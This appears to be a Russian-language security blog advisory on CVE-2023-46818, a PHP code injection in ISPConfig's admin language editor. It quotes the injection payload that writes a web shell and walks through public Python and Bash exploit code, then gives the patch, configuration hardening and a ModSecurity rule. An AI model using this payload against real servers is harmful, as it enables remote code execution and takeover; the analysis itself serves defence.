Уязвимость CVE-2023-46818 в ISPConfig
Уязвимость CVE-2023-46818 в ISPConfig
Категория: Программы Теги: Уязвимости Опубликовано: 29 мая 2025

Уязвимость CVE-2023-46818 в ISPConfig

Уязвимость CVE-2023-46818 в ISPConfig версий до 3.2.11p1 позволяет администратору с включенной опцией admin_allow_langedit выполнить произвольный PHP-код на сервере через редактор языковых файлов. Атака возможна из-за отсутствия санитизации пользовательского ввода в параметре records[] скрипта /admin/language_edit.php, который динамически генерирует исполняемый PHP-код.

Анализ уязвимости

Уровень опасности: 7.2 HIGH
Вектор атаки: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

  • AV:N (Attack Vector - Network) - Атака через сеть

  • AC:L (Attack Complexity - Low) - Низкая сложность эксплуатации

  • PR:H (Privileges Required - High) - Требуются высокие привилегии (администратор)

  • UI:N (User Interaction - None) - Без взаимодействия с пользователем

  • S:U (Scope - Unchanged) - Воздействие на один компонент

  • C:H (Confidentiality - High) - Полная компрометация конфиденциальности

  • I:H (Integrity - High) - Полная компрометация целостности

  • A:H (Availability - High) - Полная компрометация доступности

Условия эксплуатации:

  1. Версия ISPConfig ≤ 3.2.11

  2. Включена опция admin_allow_langedit в конфигурации

  3. Наличие учетной записи администратора

  4. Доступ к панели управления из внутренней/внешней сети


Механизм уязвимости

Код language_edit.php динамически генерирует PHP-файлы на основе пользовательского ввода без должной фильтрации.

Эксплойт к CVE-2023-46818 использует конструкцию:

injection_payload = f"'];file_put_contents('sh.php',base64_decode('{encoded_php}'));die;#"

Которая преобразуется в:

$LANG[''] = ''];file_put_contents('sh.php',base64_decode('PD9waHAg...'));die;#';

Анализ эксплойтов из общего доступа

Python-версия:

  1. Аутентификация:

    session.post(login_url, data={'username':user, 'password':password})
  2. Подготовка инъекции:
    Генерация случайного имени файла (.lng) для обхода кэширования:

    lang_file = ''.join(random.choices(string.ascii_letters,k=8)) + ".lng"
  3. CSRF-токены:
    Извлекает токены из HTML-ответа:

    csrf_id = response.text.split('_csrf_id" value="')[1].split('"')[0]
  4. Инъекция шелла:
    Отправка payload через параметр records[\\]:

    session.post(lang_edit_url, data={'records[\\]': injection_payload})
  5. Выполнение команд:
    Команды передаются через заголовок C в base64:

    headers = {'C': base64.b64encode(cmd.encode()).decode()}

Bash-версия:

  1. Кодирование полезной нагрузки:

    ENCODED=$(echo -n "$PHP_PAYLOAD" | base64 -w0)
  2. URL-кодирование:
    Использует jq для безопасной передачи:

    ENCODED_INJECT=$(printf '%s' "$INJECT" | jq -s -R -r @uri)
  3. Управление сессией:
    Сохраняет куки в файл для повторного использования:

    curl -sk -c "$COOKIE_FILE" -d "username=$USER&password=$PASS"

Защита и рекомендации

  1. Обновление:
    Обновить до версии выше 3.2.11p1 ISPConfig или установить 3.2.11p1 с патчем:

    - $phpcode .= "\$LANG['".$key."'] = '".$value."';\n";
    + $phpcode .= "\$LANG['".addslashes($key)."'] = '".addslashes($value)."';\n";
  2. Отключение опасных функций:
    В файле config.inc.php:

    $conf['admin_allow_langedit'] = false; // Отключить редактор
  3. WAF-правило (ModSecurity):

    SecRule ARGS_POST:records "@contains');" \
    "id:1001,deny,msg:'CVE-2023-46818 Exploit Attempt'"
  4. Принцип минимальных привилегий:

    • Ограничить доступ к /admin/ по IP

    • Использовать 2FA для администраторов

Алексей Черемных Алексей Черемных
42